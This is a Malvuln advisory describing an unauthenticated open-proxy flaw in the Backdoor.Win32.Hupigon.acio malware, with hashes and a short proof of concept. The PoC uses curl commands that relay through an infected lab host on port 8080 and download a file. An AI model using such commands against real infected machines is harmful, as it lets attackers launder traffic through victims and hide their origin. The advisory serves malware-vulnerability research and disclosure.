Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/21f324a6a62d8125bc83b8d1865e17f9_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Hupigon.acio
Vulnerability: Unauthenticated Open Proxy
Description: The malware listens on TCP port 8080. Third-party attackers who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host.
Type: PE32
MD5: 21f324a6a62d8125bc83b8d1865e17f9
Vuln ID: MVID-2021-0373
Dropped files: IEload.exe
Disclosure: 10/27/2021

Exploit/PoC:
curl http://192.168.18.125:8080 -H "Host: 192.168.18.128:21"  -v
220 INetSim FTP Service ready.

curl http://192.168.18.125:8080/DOOM.exe -H "Host: 192.168.18.128" --output DOOM.exe
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 24576  100 24576    0     0  24576      0  0:00:01 --:--:--  0:00:01  255k

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